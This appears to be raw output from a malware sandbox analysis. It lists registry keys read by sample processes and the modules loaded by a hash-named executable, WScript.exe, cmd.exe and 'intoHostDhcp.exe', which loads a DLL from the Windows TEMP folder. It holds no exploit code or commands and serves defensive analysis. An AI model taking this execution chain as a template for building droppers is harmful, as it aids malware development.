00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousC" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecomposit" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPart" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPar" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpat" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpa" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxR" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificat" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityPro" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00005488.00000001.88777.02110000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00005752.00000000.77536.000A0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePo" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005752.00000000.77536.01C70000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{dffacdc5-679f-4156-8947-c5c76bc0b67f}\InProcServer32" in Source: 00000000-00005752.00000002.81382.04360000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005752.00000002.81382.06D62000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{dffacdc5-679f-4156-8947-c5c76bc0b67f}\InProcServer32" in Source: 00000000-00005752.00000003.81543.04360000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005752.00000003.81543.06D62000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHt" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPoop" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPoo" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousC" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand<" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecomposit" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPart" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPar" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpa" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxR" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificat" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityPro" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00005800.00000001.88885.021F0000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Nls\ExtendedLocale" in Source: 00000000-00005856.00000000.76747.001BC000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005856.00000000.76747.01F70000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CaretTracking" in Source: 00000000-00005856.00000000.76747.6E1B1000.00000020.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Nls\ExtendedLocale" in Source: 00000000-00005856.00000001.76790.001BC000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00005856.00000001.76790.00C53000.00000002.mdmp "Software\WinRAR SFX" in Source: 00000000-00005856.00000001.76790.00C53000.00000002.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005944.00000001.89465.01F50000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005944.00000001.89465.01F50000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005944.00000001.89465.01F50000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00005944.00000001.89465.01F50000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00005944.00000001.89465.01F50000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.Use" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPool" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPoo" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousC" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHand$" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecomposit" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPart" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressPar" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpat" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpa" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxR" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SchSendAuxRecord" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificat" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.RequireCertificateEKUs" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityPro" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.SecurityProtocol" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00006116.00000003.83740.01EE0000.00000004.mdmp40:T8228,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73f30000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "COMCTL32.DLL" at base 74260000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.7601.23894_NONE_5C0BE957A009922E\GDIPLUS.DLL" at base 73ca0000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "SHELL32.DLL" at base 76810000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "OLE32.DLL" at base 75a70000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "USER32.DLL" at base 75e10000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "WINDOWSCODECS.DLL" at base 73780000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "GDI32.DLL" at base 775c0000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "DWMAPI.DLL" at base 73bc0000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "UXTHEME.DLL" at base 73f30000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "COMCTL32" at base 74260000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "IMM32.DLL" at base 76350000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "ADVAPI32.DLL" at base 756a0000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "SHLWAPI.DLL" at base 76370000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "CLBCATQ.DLL" at base 75ee0000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76810000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\INK\TIPTSF.DLL" at base 6e1b0000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "RPCRT4.DLL" at base 75760000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 75a70000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 759a0000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "PROPSYS.DLL" at base 74090000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "OLEAUT32.DLL" at base 76020000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74090000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "NTMARTA.DLL" at base 747d0000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 760f0000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "PROFAPI.DLL" at base 75370000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 75400000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 763d0000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "SECUR32.DLL" at base 75090000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 754e0000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 6eb00000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "SETUPAPI.DLL" at base 76110000 "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75210000 "WScript.exe" loaded module "ADVAPI32.DLL" at base 756a0000 "WScript.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 760f0000 "WScript.exe" loaded module "KERNEL32.DLL" at base 75870000 "WScript.exe" loaded module "SXS.DLL" at base 75270000 "WScript.exe" loaded module "DWMAPI.DLL" at base 73bc0000 "WScript.exe" loaded module "CLBCATQ.DLL" at base 75ee0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 6b410000 "WScript.exe" loaded module "OLE32.DLL" at base 75a70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 756a0000 "WScript.exe" loaded module "WINTRUST.DLL" at base 754f0000 "WScript.exe" loaded module "CRYPTSP.DLL" at base 74d70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74b00000 "WScript.exe" loaded module "CRYPTBASE.DLL" at base 75260000 "WScript.exe" loaded module "MSISIP.DLL" at base 74080000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 75520000 "WScript.exe" loaded module "IMM32.DLL" at base 76350000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 6cbe0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 6c280000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 6c090000 "WScript.exe" loaded module "SHELL32.DLL" at base 76810000 "WScript.exe" loaded module "PROPSYS.DLL" at base 74090000 "WScript.exe" loaded module "COMCTL32.DLL" at base 74260000 "WScript.exe" loaded module "OLEAUT32.DLL" at base 76020000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75870000 "WScript.exe" loaded module "SETUPAPI.DLL" at base 76110000 "WScript.exe" loaded module "APPHELP.DLL" at base 75210000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WPDSHEXT.DLL" at base 652a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 6e3a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76810000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6a6c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74090000 "WScript.exe" loaded module "NTMARTA.DLL" at base 747d0000 "WScript.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 760f0000 "WScript.exe" loaded module "PROFAPI.DLL" at base 75370000 "WScript.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 75400000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 763d0000 "WScript.exe" loaded module "SECUR32.DLL" at base 75090000 "WScript.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 754e0000 "WScript.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 6eb00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75210000 "cmd.exe" loaded module "ADVAPI32.DLL" at base 756a0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 75870000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75210000 "intoHostDhcp.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6a170000 "intoHostDhcp.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70c10000 "intoHostDhcp.exe" loaded module "KERNEL32" at base 75870000 